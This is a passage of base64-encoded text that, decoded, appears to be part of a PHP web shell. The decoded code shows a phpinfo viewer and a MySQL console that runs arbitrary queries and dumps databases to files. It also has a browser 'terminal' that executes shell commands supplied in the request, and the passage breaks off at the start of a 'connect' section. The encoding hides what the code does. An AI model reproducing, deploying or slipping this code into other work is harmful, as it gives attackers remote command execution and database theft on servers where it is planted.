TWVNDT05GRElSJywnUEhQX0xPQ0FMU1RBVEVESVInLCdQSFBfQ09ORklHX0ZJTEVfUEFUSCcsJ1BIUF9DT05GSUdfRklMRV9TQ0FOX0RJUicsDQoJCQkJICAnUEhQX1NITElCX1NVRkZJWCcsJ1BIUF9GRF9TRVRTSVpFJyk7DQoNCgkJJHRhYmxlPSIiOw0KCQlmb3JlYWNoKCRjb3JlcyBhcyAkY29yZSkNCgkJew0KCQkJJHRhYmxlLj0iPHRyPjx0ZD4iLiRjb3JlLiI8L3RkPjx0ZD4iLkBjb25zdGFudCgkY29yZSkuIjwvdGQ+PC90cj4iOw0KCQl9DQoNCgkJcHJpbnRmKCI8aDI+Q29yZSBQcmVkZWZpbmVkIENvbnN0YW50czwvaDI+PGJyPg0KCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUnPg0KCQkJCQk8dGhlYWQ+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRoPlByZWRlZmluZWQgQ29uc3RhbnRzPC90aD4NCgkJCQkJCQk8dGg+VmFsdWU8L3RoPg0KCQkJCQkJPC90cj4NCgkJCQkJPHRib2R5PiVzPC90Ym9keT4NCgkJCQk8L3RhYmxlPiIsJHRhYmxlKTsNCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJlbnZpcm9sbWVudCIpDQoJCXsNCgkJCW9iX2NsZWFuKCk7DQoJCQlwaHBpbmZvKCRfUkVRVUVTVFsnY29uZmlnJ10pOw0KCQkJJHBocGluZm89b2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlvYl9lbmRfY2xlYW4oKTsNCgkJCSRwaHBpbmZvPXByZWdfcmVwbGFjZSgnJV4uKjxib2R5PiguKik8L2JvZHk+LiokJW1zJywnJDEnLCRwaHBpbmZvKTsNCgkJCXByaW50ZigiPGRpdiBpZD0ncGhwaW5mbyc+JXM8L2Rpdj4iLCRwaHBpbmZvKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJkYiIpDQoJew0KCQkkY29ubmVjdD1hbnkoImNvbm5lY3QiLCRfU0VTU0lPTik/JF9TRVNTSU9OWydjb25uZWN0J106IiI7DQoJCSRzdGF0dXM9YW55KCJzdGF0dXMiLCRfU0VTU0lPTik/JF9TRVNTSU9OWydzdGF0dXMnXToiIjsNCgkJJHF1ZXJ5PWFueSgicXVlcnkiLCRfUkVRVUVTVCk/JF9SRVFVRVNUWydxdWVyeSddOiJzaG93IGRhdGFiYXNlczsiOw0KDQoJCWlmKCRjb25uZWN0PT10cnVlKQ0KCQl7DQoJCQkkcHJvY2Vzcz0iIjsNCgkJCSRzcWw9bXlzcWxpX2Nvbm5lY3QoJF9TRVNTSU9OWydob3N0J10sJF9TRVNTSU9OWyd1c2VyJ10sJF9TRVNTSU9OWydwYXNzJ10sJF9TRVNTSU9OWydkYmFzJ10sJF9TRVNTSU9OWydwb3J0J10pOw0KCQkJLyogDQoJCQkkcmVzdWx0PW15c3FsX2xpc3RfcHJvY2Vzc2VzKCRzcWwpOw0KCQkJd2hpbGUoJHJvdz1teXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCXsNCgkJCSAgICAkcHJvY2Vzcy49c3ByaW50ZigiPHRyPg0KCQkJICAgIAk8dGQ+JXM8L3RkPjx0ZD4lczwvdGQ+PHRkPiVzPC90ZD4NCgkJCSAgICAJPHRkPiVzPC90ZD48dGQ+JXM8L3RkPjwvdHI+IiwNCgkJCSAgICAJJHJvd1siSWQiXSwkcm93WyJIb3N0Il0sJHJvd1siZGIiXSwNCgkJCSAgICAJJHJvd1siQ29tbWFuZCJdLCRyb3dbIlRpbWUiXSk7DQoJCQl9DQoJCQlteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsgDQoJCQkqLw0KCQkJDQoJCQlwcmludGYoIjxkaXYgY2xhc3M9J2RhdGFiYXNlLXNlc3Npb24nPg0KCQkJCQkJPGRpdiBjbGFzcz0nZGF0YWJhc2UtcXVlcnknPg0KCQkJCQkJCTxmb3JtIGFjdGlvbj0nP3g9ZGImeGE9cXJ5JyBtZXRob2Q9J3Bvc3QnPg0KCQkJCQkJCQk8bGFiZWw+TVlTUUwgUXVlcnk8aHI+PC9sYWJlbD48YnI+DQoJCQkJCQkJCTxsYWJlbD48aSBzdHlsZT0nY29sb3I6IzIyMic+DQoJCQkJCQkJCXNob3cgZGF0YWJhc2VzOzxicj4NCgkJCQkJCQkJc2hvdyB0YWJsZXMgZnJvbSB7ZGF0YWJhc2V9Ozxicj4NCgkJCQkJCQkJc2hvdyBjb2x1bW5zIGZyb20ge2RhdGFiYXNlfS57dGFibGV9Ozxicj4NCgkJCQkJCQkJc2VsZWN0IGNvdW50KCopIGZyb20ge2RhdGFiYXNlfS57dGFibGV9Ozxicj4NCgkJCQkJCQkJc2VsZWN0ICogZnJvbSB7ZGF0YWJhc2V9Lnt0YWJsZX1saW1pdCAwLDEwOzwvaT48L2xhYmVsPg0KCQkJCQkJCQk8dGV4dGFyZWEgaWQ9J3F1ZXJ5JyBuYW1lPSdxdWVyeSc+JXM8L3RleHRhcmVhPjxicj4NCgkJCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZGlzY29ubmVjdCcgdmFsdWU9J0Rpc2Nvbm5lY3QnLz4NCgkJCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0V4ZWN1dGUnLz4NCgkJCQkJCQk8L2Zvcm0+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2RhdGFiYXNlLXByb2Nlc3MnPg0KCQkJCQkJCTwhLS0gZGl2IGNsYXNzPSdteXNxbC1wcm9jZXNzLXJlc3VsdCc+DQoJCQkJCQkJCTxsYWJlbD5EYXRhYmFzZSBQcm9jZXNzIDxhIGhyZWY9Jz94PWRiJnhhPXByb2MnPiYjOTg1MTs8L2E+PGhyPjwvbGFiZWw+DQoJCQkJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUgdGFibGUtYm9yZGVyZWQnPg0KCQkJCQkJCQkJPHRoZWFkPg0KCQkJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCQkJPHRoPklkPC90aD4NCgkJCQkJCQkJCQkJPHRoPkhvc3Q8L3RoPg0KCQkJCQkJCQkJCQk8dGg+RGF0YWJhc2U8L3RoPg0KCQkJCQkJCQkJCQk8dGg+Q29tbWFuZDwvdGg+DQoJCQkJCQkJCQkJCTx0aD5UaW1lPC90aD4NCgkJCQkJCQkJCQk8L3RyPg0KCQkJCQkJCQkJPC90aGVhZD4NCgkJCQkJCQkJCTx0Ym9keT4lczwvdGJvZHk+DQoJCQkJCQkJCTwvdGFibGU+DQoJCQkJCQkJPC9kaXYgLS0+DQoJCQkJCQkJPGRpdiBjbGFzcz0nZGF0YWJhc2UtZHVtcCc+DQoJCQkJCQkJCTxsYWJlbD5EYXRhYmFzZSBEdW1wPGhyPjwvbGFiZWw+DQoJCQkJCQkJCTxmb3JtIGFjdGlvbj0nP3g9ZGImeGE9ZG1wJyBtZXRob2Q9J3Bvc3QnPjxicj4NCgkJCQkJCQkJCTxsYWJlbD5EYXRhYmFzZTwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RhdGFiYXNlJyB2YWx1ZT0nJy8+PGJyPg0KCQkJCQkJCQkJPGxhYmVsPk91dHB1dDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J291dHB1dCcgdmFsdWU9JyVzJy8+PGJyPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0R1bXAnIC8+DQoJCQkJCQkJCQk8bGFiZWw+JXM8L2xhYmVsPg0KCQkJCQkJCQk8L2Zvcm0+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2Nscic+PC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCQkiLCRxdWVyeSwkcHJvY2VzcywkZGlyLCRzdGF0dXMpOw0KCQkNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ZigiPGRpdiBpZD0nZGF0YWJhc2UnPg0KCQkJCQk8Zm9ybSBhY3Rpb249Jz94PWRiJnhhPWRiJyBtZXRob2Q9J3Bvc3QnIGNsYXNzPSduZXcnPjxicj4NCgkJCQkJCTxsYWJlbD5Ib3N0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naG9zdCcgdmFsdWU9J2xvY2FsaG9zdCcvPjxicj4NCgkJCQkJCTxsYWJlbD5Qb3J0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMzMDYnLz48YnI+DQoJCQkJCQk8bGFiZWw+VXNlcm5hbWU8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0ncm9vdCcvPjxicj4NCgkJCQkJCTxsYWJlbD5QYXNzd29yZDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPScnLz48YnI+DQoJCQkJCQk8bGFiZWw+RGF0YWJhc2U8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkYmFzJyB2YWx1ZT0nJy8+PGJyPg0KCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0Nvbm5lY3QnLz4NCgkJCQkJPC9mb3JtPg0KCQkJCTwvZGl2PiIpOw0KCQl9DQoNCgkJaWYoYW55KCJycyIsJF9SRVFVRVNUKSkNCgkJew0KCQkJJF9TRVNTSU9OWyRfUkVRVUVTVFsncnMnXV09Jyc7DQoJCX0NCg0KCQlpZihhbnkoImNkIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQkkX1NFU1NJT05bJ3FkYiddPSRfUkVRVUVTVFsnY2QnXTsNCgkJfQ0KDQoJCWlmKGFueSgiY3QiLCRfUkVRVUVTVCkpDQoJCXsNCgkJCSRfU0VTU0lPTlsncXRiJ109JF9SRVFVRVNUWydjdCddOw0KCQl9DQoNCgkJaWYoYW55KCJ4YSIsJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyd4YSddPT0iZGIiKQ0KCQl7CQ0KCQkJJGNuPW15c3FsaV9jb25uZWN0KCRfUkVRVUVTVFsnaG9zdCddLCRfUkVRVUVTVFsndXNlciddLCRfUkVRVUVTVFsncGFzcyddLCRfUkVRVUVTVFsnZGJhcyddLCRfUkVRVUVTVFsncG9ydCddKTsNCg0KCQkJJF9TRVNTSU9OWydob3N0J109JF9SRVFVRVNUWydob3N0J107DQoJCQkkX1NFU1NJT05bJ3BvcnQnXT0kX1JFUVVFU1RbJ3BvcnQnXTsNCgkJCSRfU0VTU0lPTlsndXNlciddPSRfUkVRVUVTVFsndXNlciddOw0KCQkJJF9TRVNTSU9OWydwYXNzJ109JF9SRVFVRVNUWydwYXNzJ107DQoJCQkkX1NFU1NJT05bJ2RiYXMnXT0kX1JFUVVFU1RbJ2RiYXMnXTsNCg0KCQkJaWYoJGNuKQ0KCQkJew0KCQkJCSRfU0VTU0lPTlsnY29ubmVjdCddPXRydWU7DQoJCQkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmLic/eD1kYicpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRfU0VTU0lPTlsnY29ubmVjdCddPWZhbHNlOw0KCQkJCXByaW50ZigiPGIgY2xhc3M9J29mZic+Q29ubmVjdGlvbiBGYWlsZWQ8L2I+Iik7DQoJCQl9DQoJCX0NCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJxcnkiKQ0KCQl7DQoJCQkkX1NFU1NJT05bJ3N0YXR1cyddPScnOw0KCQkJJGNvbj1teXNxbGlfY29ubmVjdCgkX1NFU1NJT05bJ2hvc3QnXSwkX1NFU1NJT05bJ3VzZXInXSwkX1NFU1NJT05bJ3Bhc3MnXSwkX1NFU1NJT05bJ2RiYXMnXSwkX1NFU1NJT05bJ3BvcnQnXSk7DQoNCgkJCWlmKGlzc2V0KCRfUkVRVUVTVFsnZGlzY29ubmVjdCddKSkNCgkJCXsNCgkJCQlteXNxbGlfY2xvc2UoJGNvbik7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydjb25uZWN0J10pOw0KCQkJCXVuc2V0KCRfU0VTU0lPTlsncXVlcnknXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydob3N0J10pOw0KCQkJCXVuc2V0KCRfU0VTU0lPTlsndXNlciddKTsNCgkJCQl1bnNldCgkX1NFU1NJT05bJ3Bhc3MnXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydkYmFzJ10pOw0KCQkJCXVuc2V0KCRfU0VTU0lPTlsncWRiJ10pOw0KCQkJCXVuc2V0KCRfU0VTU0lPTlsncXRiJ10pOw0KCQkJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP3g9ZGInKTsNCgkJCX0NCg0KCQkJJHNxbD0hZW1wdHkoJF9SRVFVRVNUWydxdWVyeSddKT8kX1JFUVVFU1RbJ3F1ZXJ5J106InNob3cgZGF0YWJhc2VzOyI7DQoJCQkkcmVzdWx0PW15c3FsaV9xdWVyeSgkY29uLCRzcWwpOw0KCQkJJGRhdGE9YXJyYXkoKTsNCgkJCSRuYW1lPWFycmF5KCk7DQoNCgkJCWlmKCRyZXN1bHQpDQoJCQl7DQoJCQkJd2hpbGUoJGZpZWxkaW5mbz1teXNxbGlfZmV0Y2hfZmllbGQoJHJlc3VsdCkpDQoJCQkJew0KCQkJCQkkbmFtZVtdPSRmaWVsZGluZm8tPm5hbWU7DQoJCQkJfQ0KCQkJCSRkYXRhW109JG5hbWU7DQoJCQkJd2hpbGUoJHJvdz1teXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKQ0KCQkJCXsNCgkJCQkJJGRhdGFbXT0kcm93Ow0KCQkJCX0NCgkJCQlteXNxbGlfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJGRhdGE9ZmFsc2U7DQoJCQl9DQoNCgkJCWlmKCRkYXRhIT09ZmFsc2UpDQoJCQl7DQoJCQkJJHNxZGI9aXNzZXQoJF9TRVNTSU9OWydxZGInXSkgPyAkX1NFU1NJT05bJ3FkYiddIDogJyc7DQoJCQkJJHNxdGI9aXNzZXQoJF9TRVNTSU9OWydxdGInXSkgPyAkX1NFU1NJT05bJ3F0YiddIDogJyc7DQoNCgkJCQkkYnNkYj0iPGEgaHJlZj0nP3g9ZGImeGE9cXJ5JnJzPXFkYiZxdWVyeT1zaG93IGRhdGFiYXNlczsnPkRhdGFiYXNlPC9hPiI7DQoJCQkJJGJxZGI9IWVtcHR5KCRfU0VTU0lPTlsncWRiJ10pPyImIzg1OTQ7CTxhIGhyZWY9Jz94PWRiJnhhPXFyeSZycz1xdGImcXVlcnk9c2hvdyB0YWJsZXMgZnJvbSAkc3FkYjsnPiRzcWRiPC9hPiI6IiI7DQoJCQkJJGJxdGI9IWVtcHR5KCRfU0VTU0lPTlsncXRiJ10pPyImIzg1OTQ7CTxhIGhyZWY9Jz94PWRiJnhhPXFyeSZxdWVyeT1zaG93IGNvbHVtbnMgZnJvbSAkc3FkYi4kc3F0YjsnPiRzcXRiPC9hPiI6IiI7DQoNCgkJCQlwcmludGYoIjxkaXYgY2xhc3M9J2RhdGFiYXNlPXRhYmxlJz4NCgkJCQkJCTxkaXYgY2xhc3M9J2RhdGFiYXNlLWJyZWFkY3J1bWInPiVzICVzICVzPC9kaXY+DQoJCQkJCQk8ZGl2IGNsYXNzPSdhdXRvLW51bWJlcic+DQoJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlIHNvcnRhYmxlJz4iLCRic2RiLCRicWRiLCRicXRiKTsNCg0KCQkJCWZvcmVhY2goJGRhdGEgYXMgJGtleSA9PiAkdmFsKQ0KCQkJCXsNCgkJCQkJaWYoaXNfYXJyYXkoJHZhbCkpDQoJCQkJCXsNCgkJCQkJCWlmKCRrZXk9PTApDQoJCQkJCQl7DQoJCQkJCQkJcHJpbnQgIjx0cj48dGggY2xhc3M9J3NvcnR0YWJsZV9ub3NvcnQnPiYjOTc3Njs8L3RoPiI7DQoJCQkJCQkJZm9yZWFjaCgkdmFsIGFzICRrZXkyID0+ICR2YWwyKQ0KCQkJCQkJCXsNCgkJCQkJCQkJaWYoIWlzX2FycmF5KCR2YWwyKSkNCgkJCQkJCQkJew0KCQkJCQkJCQkJcHJpbnQgIjx0aD4iLiR2YWwyLiI8L3RoPiI7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQkJcHJpbnQgIjwvdHI+IjsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAiPHRyPjx0ZCB3aWR0aD0nMTUnPjwvdGQ+IjsNCgkJCQkJCQlmb3JlYWNoKCR2YWwgYXMgJGtleTMgPT4gJHZhbDMpDQoJCQkJCQkJew0KCQkJCQkJCQlpZighaXNfYXJyYXkoJHZhbDMpKQ0KCQkJCQkJCQl7DQoJCQkJCQkJCQlpZihzdHJwb3MoJHZhbDIsJ0RhdGFiYXNlJykhPT1mYWxzZSkNCgkJCQkJCQkJCXsNCgkJCQkJCQkJCQlwcmludCAiPHRkPjxhIGhyZWY9Jz94PWRiJnhhPXFyeSZjZD0kdmFsMyZxdWVyeT1zaG93IHRhYmxlcyBmcm9tICR2YWwzOyc+JHZhbDM8L2E+PC90ZD4iOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJZWxzZWlmKHN0cnBvcygkdmFsMiwnVGFibGVzJykhPT1mYWxzZSkNCgkJCQkJCQkJCXsNCgkJCQkJCQkJCQkkdmFsND1zdWJzdHIoJHZhbDIsc3RycG9zKCR2YWwyLCdUYWJsZXNfaW5fJykrMTApOw0KCQkJCQkJCQkJCXByaW50ICI8dGQ+PGEgaHJlZj0nP3g9ZGImeGE9cXJ5JmNkPSR2YWw0JmN0PSR2YWwzJnF1ZXJ5PXNlbGVjdCAqIGZyb20gJHZhbDQuJHZhbDMgbGltaXQgMCwxMDsnPiR2YWwzPC9hPjwvdGQ+IjsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCXsNCgkJCQkJCQkJCQlwcmludCAiPHRkPiR2YWwzPC90ZD4iOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJCXByaW50ICI8L3RyPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJcHJpbnQgIjwvdGFibGU+PC9kaXY+PC9kaXY+IjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludCAnPHNwYW4gY2xhc3M9b2ZmPlF1ZXJ5IG5vdCBFeGVjdXRlZDwvc3Bhbj4nOw0KCQkJfQ0KCQl9DQoNCgkJaWYoYW55KCJ4YSIsJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyd4YSddPT0iZG1wIikNCgkJew0KCQkJJGRhdGFiYXNlPSRfUkVRVUVTVFsnZGF0YWJhc2UnXTsNCgkJCSRvdXRwdXQ9JF9SRVFVRVNUWydvdXRwdXQnXTsNCgkJCWlmICghZmlsZV9leGlzdHMoJG91dHB1dCkmJiFlbXB0eSgkZGF0YWJhc2UpKSANCgkJCXsNCgkJCQkkbGluaz1teXNxbGlfY29ubmVjdCgkX1NFU1NJT05bJ2hvc3QnXSwkX1NFU1NJT05bJ3VzZXInXSwkX1NFU1NJT05bJ3Bhc3MnXSxudWxsLCRfU0VTU0lPTlsncG9ydCddKTsNCgkJCQlteXNxbGlfc2V0X2NoYXJzZXQoJGxpbmssJ3V0ZjgnKTsNCgkJCQlteXNxbGlfc2VsZWN0X2RiKCRsaW5rLCRkYXRhYmFzZSk7DQoJCQkJJHRhYmxlcz1hcnJheSgpOw0KCQkJCSRyZXN1bHQ9bXlzcWxpX3F1ZXJ5KCRsaW5rLCdTSE9XIFRBQkxFUycpOw0KCQkJCXdoaWxlKCRyb3c9bXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkNCgkJCQl7DQoJCQkJCSR0YWJsZXNbXT0kcm93WzBdOw0KCQkJCX0NCgkJCQkkcmV0dXJuPSdTRVQgRk9SRUlHTl9LRVlfQ0hFQ0tTPTA7JyAuICJcclxuIjsNCgkJCQkkcmV0dXJuLj0nU0VUIFNRTF9NT0RFPSJOT19BVVRPX1ZBTFVFX09OX1pFUk8iOycgLiAiXHJcbiI7DQoJCQkJJHJldHVybi49J1NFVCBBVVRPQ09NTUlUPTA7JyAuICJcclxuIjsNCgkJCQkkcmV0dXJuLj0nU1RBUlQgVFJBTlNBQ1RJT047JyAuICJcclxuIjsNCgkJCQlmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKQ0KCQkJCXsNCgkJCQkJJHJlc3VsdD1teXNxbGlfcXVlcnkoJGxpbmssJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkJCQkkbnVtX2ZpZWxkcz1teXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCgkJCQkJJG51bV9yb3dzPW15c3FsaV9udW1fcm93cygkcmVzdWx0KTsNCgkJCQkJJGlfcm93PTA7DQoJCQkJCSRyb3cyPW15c3FsaV9mZXRjaF9yb3cobXlzcWxpX3F1ZXJ5KCRsaW5rLCdTSE9XIENSRUFURSBUQUJMRSAnLiR0YWJsZSkpOw0KCQkJCQkkcmV0dXJuLj0iXG5cbiIuJHJvdzJbMV0uIjtcblxuIjsNCgkJCQkJaWYgKCRudW1fcm93cyE9PTApIHsNCgkJCQkJCSRyb3czPUBteXNxbGlfZmV0Y2hfZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkJJHJldHVybi49J0lOU0VSVCBJTlRPICcuJHRhYmxlLicoICc7DQoJCQkJCQlmb3JlYWNoICgkcm93MyBhcyAkdGgpIA0KCQkJCQkJeyANCgkJCQkJCQkkcmV0dXJuLj0nYCcuJHRoLT5uYW1lLidgLCc7DQoJCQkJCQl9DQoJCQkJCQkkcmV0dXJuPXN1YnN0cigkcmV0dXJuLDAsLTIpOw0KCQkJCQkJJHJldHVybi49JyApIFZBTFVFUyc7DQoJCQkJCQlmb3IgKCRpPTA7JGkgPCAkbnVtX2ZpZWxkczskaSsrKSANCgkJCQkJCXsNCgkJCQkJCQl3aGlsZSgkcm93PW15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpDQoJCQkJCQkJew0KCQkJCQkJCQkkcmV0dXJuLj0iXG4oIjsNCgkJCQkJCQkJZm9yKCRqPTA7JGo8JG51bV9maWVsZHM7JGorKykgDQoJCQkJCQkJCXsNCgkJCQkJCQkJCSRyb3dbJGpdPWFkZHNsYXNoZXMoJHJvd1skal0pOw0KCQkJCQkJCQkJJHJvd1skal09cHJlZ19yZXBsYWNlKCIjXG4jIiwiXFxuIiwkcm93WyRqXSk7DQoJCQkJCQkJCQlpZiAoaXNzZXQoJHJvd1skal0pKSB7ICRyZXR1cm4uPSciJy4kcm93WyRqXS4nIic7fWVsc2UgeyAkcmV0dXJuLj0nIiInO30NCgkJCQkJCQkJCWlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49JywnO30NCgkJCQkJCQkJfQ0KCQkJCQkJCQlpZiAoKyskaV9yb3c9PSRudW1fcm93cykgew0KCQkJCQkJCQkJJHJldHVybi49Iik7IjsNCgkJCQkJCQkJfWVsc2Ugew0KCQkJCQkJCQkJJHJldHVybi49IiksIjsNCgkJCQkJCQkJfSAgDQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSRyZXR1cm4uPSJcblxuXG4iOw0KCQkJCX0NCgkJCQkkcmV0dXJuIC49J1NFVCBGT1JFSUdOX0tFWV9DSEVDS1M9MTsnIC4gIlxyXG4iOw0KCQkJCSRyZXR1cm4uPSdDT01NSVQ7JzsNCgkJCQkkb3V0cHV0PXBhdGhpbmZvKCRvdHB1dClbJ2V4dGVuc2lvbiddPT0nc3FsJz8kb3V0cHV0OiRvdXRwdXQuJy5zcWwnOw0KCQkJCSRoYW5kbGU9Zm9wZW4oJG91dHB1dCwndysnKTsNCgkJCQlmd3JpdGUoJGhhbmRsZSwkcmV0dXJuKTsNCgkJCQlmY2xvc2UoJGhhbmRsZSk7DQoJCQkJJF9TRVNTSU9OWydzdGF0dXMnXT1zcHJpbnRmKCJEdW1wIHdpdGggc3VjY2Vzcy4uLiA8YSBocmVmPSc/YT12JnI9JXMnIHRhcmdldD0nX2JsYW5rJz4nJXMnPC9hPiIsdXJsZSgkb3V0cHV0KSxiYXNlbmFtZSgkb3V0cHV0KSk7CSAgICANCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkX1NFU1NJT05bJ3N0YXR1cyddPSI8c3BhbiBjbGFzcz1vZmY+RHVtcCBFcnJvcjwvc3Bhbj4iOw0KCQkJfQ0KCQkJDQoJCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYuJz94PWRiJyk7DQoJCX0NCg0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09InRlcm1pbmFsIikNCgl7DQoJCXByaW50ZigiDQoJCQk8ZGl2IGlkPSd0ZXJtaW5hbCc+DQoJCQkJPHRleHRhcmVhIGlkPSdwcm9tcHQtdGVybWluYWwnIGNsYXNzPSdjbWQnIGNvbHM9JzEyMicgcm93cz0nMjAnIHJlYWRvbmx5PiVzPC90ZXh0YXJlYT4NCgkJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOyc+DQoJCQkJCTxsYWJlbCBpZD0nY3VyZGlyLXRlcm1pbmFsJz4kICVzOjwvbGFiZWw+DQoJCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ndGVybWluYWwtaW5wdXQnIGF1dG9jb21wbGV0ZT0nb2ZmJyBvbmZvY3VzPVwiXCIgb25rZXlkb3duPVwiDQoJCQkJCQlpZihldmVudC5rZXlDb2RlPT0xMykgDQoJCQkJCQl7DQoJCQkJCQkJdGVtcD10aGlzLnZhbHVlOw0KCQkJCQkJCXRoaXMudmFsdWU9Jyc7DQoJCQkJCQkJZ2V0QWpheCh0cnVlLCdjdXJkaXItdGVybWluYWwnLCdQT1NUJywnP3g9dGVybWluYWwmeGE9dGVybWluYWxzLWN1cmRpciZjbWQ9Jyt0ZW1wKTsNCgkJCQkJCQlyZXR1cm4gZ2V0QWpheChmYWxzZSwncHJvbXB0LXRlcm1pbmFsJywnUE9TVCcsJz94PXRlcm1pbmFsJnhhPXRlcm1pbmFscyZjbWQ9Jyt0ZW1wKTsNCgkJCQkJCX0NCgkJCQkJXCIgY2xhc3M9J2NtZCcgbmFtZT1jbWQgY29scz0xMjIgcm93cz0yPjwvaW5wdXQ+DQoJCQkJPC9mb3JtPg0KCQkJPC9kaXY+IixFeGVjdXRlKCd3aG9hbWknKSwkZGlyKTsNCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJ0ZXJtaW5hbHMiKQ0KCQl7CQ0KCQkJb2JfY2xlYW4oKTsNCgkJCSRjb21tYW5kPSFlbXB0eSgkX1JFUVVFU1RbJ2NtZCddKT8kX1JFUVVFU1RbJ2NtZCddOiJ3aG9hbWkiOw0KCQkJQGNoZGlyKCRkaXIpOw0KCQkJJGNoYXJzZXQ9J1VURi04JzsNCgkJCWlmKCFVbml4KCkpDQoJCQl7DQoJCQkJJGNoYXJzZXQ9J1dpbmRvd3MtMTI1MSc7DQoJCQl9DQoJCQkkcmV0PWljb252KCRjaGFyc2V0LCdVVEYtOCcsRXhlY3V0ZSgkY29tbWFuZCkpOw0KCQkJcHJpbnQgJHJldDsNCgkJCWV4aXQ7DQoJCX0NCgkJZWxzZWlmKGFueSgieGEiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09InRlcm1pbmFscy1jdXJkaXIiKQ0KCQl7CQ0KCQkJb2JfY2xlYW4oKTsNCgkJCSRjb21tYW5kPSFlbXB0eSgkX1JFUVVFU1RbJ2NtZCddKT8kX1JFUVVFU1RbJ2NtZCddOiJ3aG9hbWkiOw0KCQkJaWYgKHByZWdfbWF0Y2goJy9jZCAoLiopLycsJGNvbW1hbmQsJGRpcngpKQ0KCQkJew0KCQkJCWlmICgkZGlyeFsxXT09Jy4uJykNCgkJCQl7DQoJCQkJCSRkaXI9c3Vic3RyKCRkaXIsMCxzdHJycG9zKCRkaXIsXykpOw0KCQkJCQlpZiAoc3RybGVuKCRkaXIpPD0yKSAkZGlyPSRkaXIuXzsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJaWYgKGlzX2RpcigkZGlyeFsxXSkpDQoJCQkJCXsNCgkJCQkJCSRkaXI9cmVhbHBhdGgoJGRpcnhbMV0pOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJJF9TRVNTSU9OWydjJ109dXJsZSgkZGlyKTsNCgkJCXByaW50ICckICcuJGRpci4nOic7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0iY29ubmVjdCIpDQoJew0KCQlwcmludGYoIjxkaXYgaWQ9J2Nvbm5lY3QnPg0KCQkJCTxkaXYgY2x